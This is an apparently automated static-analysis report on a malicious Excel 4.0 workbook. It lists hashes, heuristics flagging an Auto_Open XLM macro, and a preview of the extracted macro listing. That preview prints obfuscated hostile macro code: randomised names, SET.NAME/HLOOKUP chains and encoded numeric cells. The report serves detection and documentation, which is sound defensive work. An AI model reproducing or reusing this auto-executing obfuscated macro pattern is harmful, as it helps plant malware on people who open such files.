Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd055f95dc92b85b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:24 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 5e40e5a11aa7ec306f6c1c8462ec9d70 SHA-1: 08f7a47d0ebe71fa27d5319692ec1b0540666a34 SHA-256: bd055f95dc92b85ba3223c2b2a0de67de70efd840b30cdb3c737564bce33c4f9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6866 bytes
SHA-256: 0fde01458a11a834fdd718b8948b08ed7eb9919c37cf159769a00fc49dc93048
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TDQtDgjjGA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B172 
' 0018     26 LABEL : Cell Value, String Constant - CIlOeDRIpnU len=0 
' 0018     22 LABEL : Cell Value, String Constant - CMOOocX len=0 
' 0018     23 LABEL : Cell Value, String Constant - cxyxYVAr len=0 
' 0018     27 LABEL : Cell Value, String Constant - EaBUxNZtFDnx len=0 
' 0018     25 LABEL : Cell Value, String Constant - edmGAJldKM len=0 
' 0018     26 LABEL : Cell Value, String Constant - GvfrcpajdIL len=0 
' 0018     22 LABEL : Cell Value, String Constant - HbtbeKG len=0 
' 0018     24 LABEL : Cell Value, String Constant - HncPBNNUd len=0 
' 0018     23 LABEL : Cell Value, String Constant - LTFLZZwi len=0 
' 0018     23 LABEL : Cell Value, String Constant - MLhuHyMh len=0 
' 0018     27 LABEL : Cell Value, String Constant - MRQYETbUNhIy len=0 
' 0018     22 LABEL : Cell Value, String Constant - NSvYirM len=0 
' 0018     26 LABEL : Cell Value, String Constant - NXAZPkxhedz len=0 
' 0018     26 LABEL : Cell Value, String Constant - rbtsQVveWbV len=0 
' 0018     24 LABEL : Cell Value, String Constant - szikzvchl len=0 
' 0018     21 LABEL : Cell Value, String Constant - TtjOlg len=0 
' 0018     24 LABEL : Cell Value, String Constant - UaJIvAHNd len=0 
' 0018     20 LABEL : Cell Value, String Constant - WvGVV len=0 
' 0018     26 LABEL : Cell Value, String Constant - zaxaaXaKlFj len=0 
' 0018     24 LABEL : Cell Value, String Constant - zGJsBmHfN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TDQtDgjjGA,B73,"SET.NAME("NXAZPkxhedz",0+VALUE("0"))",""
'  TDQtDgjjGA,B76,"SET.NAME("zaxaaXaKlFj",NXAZPkxhedz)",""
'  TDQtDgjjGA,B79,"SET.NAME("rbtsQVveWbV",NXAZPkxhedz)",""
'  TDQtDgjjGA,B83,"SET.NAME("szikzvchl",COUNTA(zGJsBmHfN))",""
'  TDQtDgjjGA,T83,"",-125.00000000000000000000
'  TDQtDgjjGA,T84,"",-930.00000000000000000000
'  TDQtDgjjGA,T85,"",-250.00000000000000000000
'  TDQtDgjjGA,T86,"",-7.00000000000000000000
'  TDQtDgjjGA,B87,"SET.NAME("edmGAJldKM",COUNTA(TtjOlg))",""
'  TDQtDgjjGA,T87,"",507.00000000000000000000
'  TDQtDgjjGA,T88,"",779.00000000000000000000
'  TDQtDgjjGA,B89,[],""
'  TDQtDgjjGA,B94,"SET.NAME("GvfrcpajdIL","")",""
'  TDQtDgjjGA,B99,"zaxaaXaKlFj",""
'  TDQtDgjjGA,B104,"SET.NAME("MRQYETbUNhIy",HLOOKUP("*",zGJsBmHfN,zaxaaXaKlFj,FALSE))",""
'  TDQtDgjjGA,B109,"WvGVV",""
'  TDQtDgjjGA,B112,"SET.NAME("EaBUxNZtFDnx",NXAZPkxhedz)",""
'  TDQtDgjjGA,B115,[],""
'  TDQtDgjjGA,B119,"EaBUxNZtFDnx",""
'  TDQtDgjjGA,B122,"CMOOocX",""
'  TDQtDgjjGA,B126,"MLhuHyMh",""
'  TDQtDgjjGA,B128,"cxyxYVAr",""
'  TDQtDgjjGA,B130,"SET.NAME("CIlOeDRIpnU",VALUE(HLOOKUP("*",TtjOlg,cxyxYVAr,FALSE)))",""
'  TDQtDgjjGA,B135,"LTFLZZwi",""
'  TDQtDgjjGA,B140,"GvfrcpajdIL",""
'  TDQtDgjjGA,B142,"rbtsQVveWbV",""
'  TDQtDgjjGA,B147,NEXT(),""
'  TDQtDgjjGA,B151,"HncPBNNUd",""
'  TDQtDgjjGA,B156,[],""
'  TDQtDgjjGA,B159,"HbtbeKG",""
'  TDQtDgjjGA,B164,NEXT(),""
'  TDQtDgjjGA,B169,RETURN(),""
'  TDQtDgjjGA,B201,"SET.NAME("NSvYirM",B73)",""
'  TDQtDgjjGA,B206,"zGJsBmHfN",""
'  TDQtDgjjGA,B211,"SET.NAME("TtjOlg",R40C11)",""
'  TDQtDgjjGA,B214,"SET.NAME("HbtbeKG",222)",""
'  TDQtDgjjGA,B217,"SET.NAME("UaJIvAHNd",2)",""
'  TDQtDgjjGA,B221,NSvYirM(),""
'  TDQtDgjjGA,B222,HALT(),""

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